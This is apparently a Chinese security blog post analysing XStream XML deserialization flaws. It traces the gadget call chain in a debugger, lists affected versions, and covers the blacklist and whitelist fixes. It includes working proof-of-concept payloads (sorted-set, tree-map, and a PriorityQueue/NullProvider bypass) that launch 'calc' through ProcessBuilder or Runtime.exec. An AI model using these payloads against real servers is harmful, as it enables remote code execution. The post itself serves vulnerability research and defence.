前言
前段时间挖洞审计java
时发现了一个XStream
反序列化漏洞,当时直接使用公开POC
拿下了,发现自己好像并没有分析过XStream
反序列化漏洞的底层原理,趁周末补上。
EventHandler
动态代理基础:https://kagty1.github.io/2025/02/06/%E9%9D%99%E6%80%81%E4%B8%8E%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86/
EventHandler
类动态代理执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class test { public static void main(String[] args) throws Exception { ProcessBuilder pb = new ProcessBuilder("open", "-a", "Calculator");
EventHandler handler = new EventHandler(pb, "start", null, null);
Runnable proxy = (Runnable) Proxy.newProxyInstance( Runnable.class.getClassLoader(), new Class<?>[]{Runnable.class}, handler);
proxy.run(); } }
|
ProcessBuilder.start()
执行命令不做赘述
通过动态代理代理接口Runnable
,调用Runnable
接口的任意方法均会调用至EventHandler.invoke
方法
EventHandler
构造函数接收4个参数,表示为(target, action, null, null)
,后两个参数不做研究
执行EventHandler.invoke
最后的调用逻辑为target.action()
,即proxy.run()
-> pb.start()
执行任意命令
XStream_Demo
1 2 3 4 5 6 7 8 9 10 11
| import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; import java.io.FileInputStream;
public class XStreamTest { public static void main(String[] args) throws Exception{ FileInputStream fileInputStream = new FileInputStream("C:\\Users\\worker\\Downloads\\XStream\\XStream\\src\\main\\java\\evil.xml"); XStream xStream = new XStream(new DomDriver()); xStream.fromXML(fileInputStream); } }
|
TreeUnmarshaller.start(DataHolder dataHolder)
这个方法是XStream
反序列化的关键方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public Object start(DataHolder dataHolder) { this.dataHolder = dataHolder; Class type = HierarchicalStreams.readClassType(this.reader, this.mapper); Object result = this.convertAnother((Object)null, type);
for(Runnable runnable : this.validationList) { runnable.run(); }
return result; }
|
sorted-set
POC
1 2 3 4 5 6 7 8 9 10 11 12 13
| <sorted-set> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
|
利用动态代理,使用java.beans.EventHandler
代理java.lang.Comparable
接口,当触发Comparable
接口的compareTo
方法时,出发EventHandler.invoke
方法进而触发ProcessBuilder.start
方法从而命令执行
调试
断点先打在com.thoughtworks.xstream.core.TreeUnmarshaller#start
先获取XML
根标签的类类型,即<sorted-set>
对应的类类型,为interface java.util.SortedSet

接着根据类类型,将其转换为对应的java
对象,跟进至com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother(java.lang.Object, java.lang.Class, com.thoughtworks.xstream.converters.Converter)

使用defaultImplementationOf
方法寻找interface java.util.SortedSet
的默认实现类,为class java.util.TreeSet
跟进convert
方法至com.thoughtworks.xstream.core.TreeUnmarshaller#convert
,调用了转换器TreeSetConverter
的unmarshal
方法

继续跟进com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal
方法

调用populateTreeMap
方法,这个方法的作用是从XML
数据中读取键值填充至TreeMap
中,跟进

若XML
中没有显示自定义Comparator
,则调用putCurrentEntryIntoMap
方法将XML
中的内容填充至Map
中,跟进putCurrentEntryIntoMap
方法

调用readItem
方法来进行读取,跟进

有没有觉得很熟悉,是的,同TreeUnmarshaller.start
方法中一样,调用了readClassType
来获取<dynamic-proxy>
标签对应的类类型,为class com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy
,然后调用convertAnother
方法来将其转换为具体的java
对象,跟进convertAnother
方法

同上获取默认实现类,再次调用this.convert
方法,可以将这个过程看成一个递归解析XML
标签的过程
跟进至com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal
方法

获取XML
中的<interface>
标签中的值,作为即将进行动态代理的接口
获取<handler class=?>
中?
的值作为动态代理类
然后同样的方法使用convertAnother
方法获取EventHandler
对象

然后使用interface
和handler
创建动态代理对象proxy
最后返回动态代理对象proxy
,一直调用至com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap
,调用了

跟进TreeMap.putAll
方法,调用至java.util.TreeMap#put
方法

跟进compare
方法,调用proxy.compareTo
方法,触发动态代理

至此调用链分析完毕
总结
调用链可以总结简述为如下过程
1 2 3 4 5 6 7 8 9 10 11 12
| com.thoughtworks.xstream.core.TreeUnmarshaller#start 方法开始进行XML反序列化 (1) 解析根部标签 <sorted-set> readClassType方法获取XML根标签类的类型 <sorted-set> -> interface java.util.SortedSet convertAnother根据类类型将其转换为java对象 (断点跟进) defaultImplemention方法获取接口interface java.util.SortedSet的默认实现类->class java.util.TreeSet,并调用lookupConverterForType方法获取转换器 转换过程中调用com.thoughtworks.xstream.converters.collections.TreeMapConverter#putCurrentEntryIntoMap填充Map,开始处理<sorted-set>标签内的内容 (2) com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter#readItem 方法开始处理 <dynamic-proxy>标签 HierarchicalStreams.readClassType -> class com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy 同理调用defaultImplemention方法和lookupConverterForType方法获取转换器 调用至com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal方法,开始解析<dynamic-proxy>标签内的内容,处理<interface>和<handler class=?> (3) handler = (InvocationHandler) context.convertAnother(proxy, handlerType); 继续处理 <handler class=?>标签内的内容,原理同上 (4) 最后构造动态代理对象,触发proxy.conpareTo进而触发命令执行
|
综上所述,可以理解为一个递归处理XML
标签的过程,利用动态代理触发命令执行
影响版本
1
| version = 1.4.5、1.4.6、1.4.10
|
version <= 1.4.4
失败原因
已知漏洞利用的关键是com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap

调用populateTreeMap
方法需要一个前提条件,即sortedMapField != null
,这样treeMap
才会被赋值,treeMap != null
才会走到else
中调用populateTreeMap
方法,在version = 1.4.5, 1.4.6
中,sortedMapField
属性的值默认null

但是在version <= 1.4.4
中,sortedMapField
属性的值默认为null

1.4.7 <= version <= 1.4.9
失败原因
查找转换器方法com.thoughtworks.xstream.core.DefaultConverterLookup#lookupConverterForType
中,调用canConvert
方法进行检查,在com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert
方法中将EventHandler
类加入了黑名单中


很奇怪的一点是,为什么1.4.7 <= version <= 1.4.9
中显示禁用了EventHandler
类,而从version = 1.4.10
开始移除了此黑名单,原因是从1.4.10
开始,XStream
默认启用了权限限制模型,要求开发者显示调用.allowTypes()
或.allowTypesByWildcard()
来开放需要反序列化的类 — 即 “白名单” 机制
在1.4.10 <= version <= 1.4.12
,需要显示禁用默认的AnyTypePerssion
1 2 3 4 5 6
| xStream.addPermission(NoTypePermission.NONE); xStream.allowTypes(new Class[] { SortedSet.class, DynamicProxyMapper.DynamicProxy.class, Comparable.class });
|
若反序列化的类不在白名单中则会报错

在1.4.13 <= version <= 1.4.18
中,可以不写xStream.addPermission(NoTypePermission.NONE);
,默认禁用

tree-map
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <tree-map> <entry> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> <string>kagty1</string> </entry> </tree-map>
|
调试
其实根据POC
来看,本质上是根部标签<sorted-set>
和<tree-map>
的区别
在com.thoughtworks.xstream.converters.collections.TreeMapConverter#unmarshal
方法中,调用populateTreeMap
没有
com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal
方法中的那么多限制

对比com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

这也就不难解释为什么tree-map
可以打1.4.0 <= version <= 1.4.4
了
影响版本
1
| 1.4.0 <= version <= 1.4.6, version = 1.4.10
|
1.4.11 <= version <= 1.4.12
中,在com.thoughtworks.xstream.XStream.InternalBlackList#canConvert
方法中显示禁用了java.beans.EventHandler

黑名单机制setupSecurity()
的引入
1.4.13 <= version <= 1.4.17
中,XStream
引入了黑名单机制,这也是许多绕过的根源
version = 1.4.13
的setupSecurity
,只禁用了java.beans.EventHandler
类

version = 1.4.17

1
| "java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue"
|
这个黑名单中很不理解的一个地方是,禁用了java.lang.ProcessBuilder
,却不禁用java.lang.Runtime
…,这也为后来的绕过埋下伏笔了
java.util.PriorityQueue
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="sun.tracing.NullProvider"> <active>true</active> <providerType>java.lang.Comparable</providerType> <probes> <entry> <method> <class>java.lang.Comparable</class> <name>compareTo</name> <parameter-types> <class>java.lang.Object</class> </parameter-types> </method> <sun.tracing.dtrace.DTraceProbe> <proxy class="java.lang.Runtime"/> <implementing__method> <class>java.lang.Runtime</class> <name>exec</name> <parameter-types> <class>java.lang.String</class> </parameter-types> </implementing__method> </sun.tracing.dtrace.DTraceProbe> </entry> </probes> </handler> </dynamic-proxy> <string>calc</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
同理利用了动态代理,找到了黑名单之外的类实现任意代码执行。
影响版本
version >= 1.4.18
白名单引入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| protected void setupSecurity() { if (this.securityMapper != null) { this.addPermission(NoTypePermission.NONE); this.addPermission(NullPermission.NULL); this.addPermission(PrimitiveTypePermission.PRIMITIVES); this.addPermission(ArrayTypePermission.ARRAYS); this.addPermission(InterfaceTypePermission.INTERFACES); this.allowTypeHierarchy(Calendar.class); this.allowTypeHierarchy(Collection.class); this.allowTypeHierarchy(Map.class); this.allowTypeHierarchy(Map.Entry.class); this.allowTypeHierarchy(Member.class); this.allowTypeHierarchy(Number.class); this.allowTypeHierarchy(Throwable.class); this.allowTypeHierarchy(TimeZone.class); Class type = JVM.loadClassForName("java.lang.Enum"); if (type != null) { this.allowTypeHierarchy(type); }
type = JVM.loadClassForName("java.nio.file.Path"); if (type != null) { this.allowTypeHierarchy(type); }
Set types = new HashSet(); types.add(BitSet.class); types.add(Charset.class); types.add(Class.class); types.add(Currency.class); types.add(Date.class); types.add(DecimalFormatSymbols.class); types.add(File.class); types.add(Locale.class); types.add(Object.class); types.add(Pattern.class); types.add(StackTraceElement.class); types.add(String.class); types.add(StringBuffer.class); types.add(JVM.loadClassForName("java.lang.StringBuilder")); types.add(URL.class); types.add(URI.class); types.add(JVM.loadClassForName("java.util.UUID")); if (JVM.isSQLAvailable()) { types.add(JVM.loadClassForName("java.sql.Timestamp")); types.add(JVM.loadClassForName("java.sql.Time")); types.add(JVM.loadClassForName("java.sql.Date")); }
if (JVM.isVersion(8)) { this.allowTypeHierarchy(JVM.loadClassForName("java.time.Clock")); types.add(JVM.loadClassForName("java.time.Duration")); types.add(JVM.loadClassForName("java.time.Instant")); types.add(JVM.loadClassForName("java.time.LocalDate")); types.add(JVM.loadClassForName("java.time.LocalDateTime")); types.add(JVM.loadClassForName("java.time.LocalTime")); types.add(JVM.loadClassForName("java.time.MonthDay")); types.add(JVM.loadClassForName("java.time.OffsetDateTime")); types.add(JVM.loadClassForName("java.time.OffsetTime")); types.add(JVM.loadClassForName("java.time.Period")); types.add(JVM.loadClassForName("java.time.Ser")); types.add(JVM.loadClassForName("java.time.Year")); types.add(JVM.loadClassForName("java.time.YearMonth")); types.add(JVM.loadClassForName("java.time.ZonedDateTime")); this.allowTypeHierarchy(JVM.loadClassForName("java.time.ZoneId")); types.add(JVM.loadClassForName("java.time.chrono.HijrahDate")); types.add(JVM.loadClassForName("java.time.chrono.JapaneseDate")); types.add(JVM.loadClassForName("java.time.chrono.JapaneseEra")); types.add(JVM.loadClassForName("java.time.chrono.MinguoDate")); types.add(JVM.loadClassForName("java.time.chrono.ThaiBuddhistDate")); types.add(JVM.loadClassForName("java.time.chrono.Ser")); this.allowTypeHierarchy(JVM.loadClassForName("java.time.chrono.Chronology")); types.add(JVM.loadClassForName("java.time.temporal.ValueRange")); types.add(JVM.loadClassForName("java.time.temporal.WeekFields")); }
types.remove((Object)null); Iterator iter = types.iterator(); Class[] classes = new Class[types.size()];
for(int i = 0; i < classes.length; ++i) { classes[i] = (Class)iter.next(); }
this.allowTypes(classes); } }
|
只允许反序列化白名单中允许的类,一劳永逸了属于是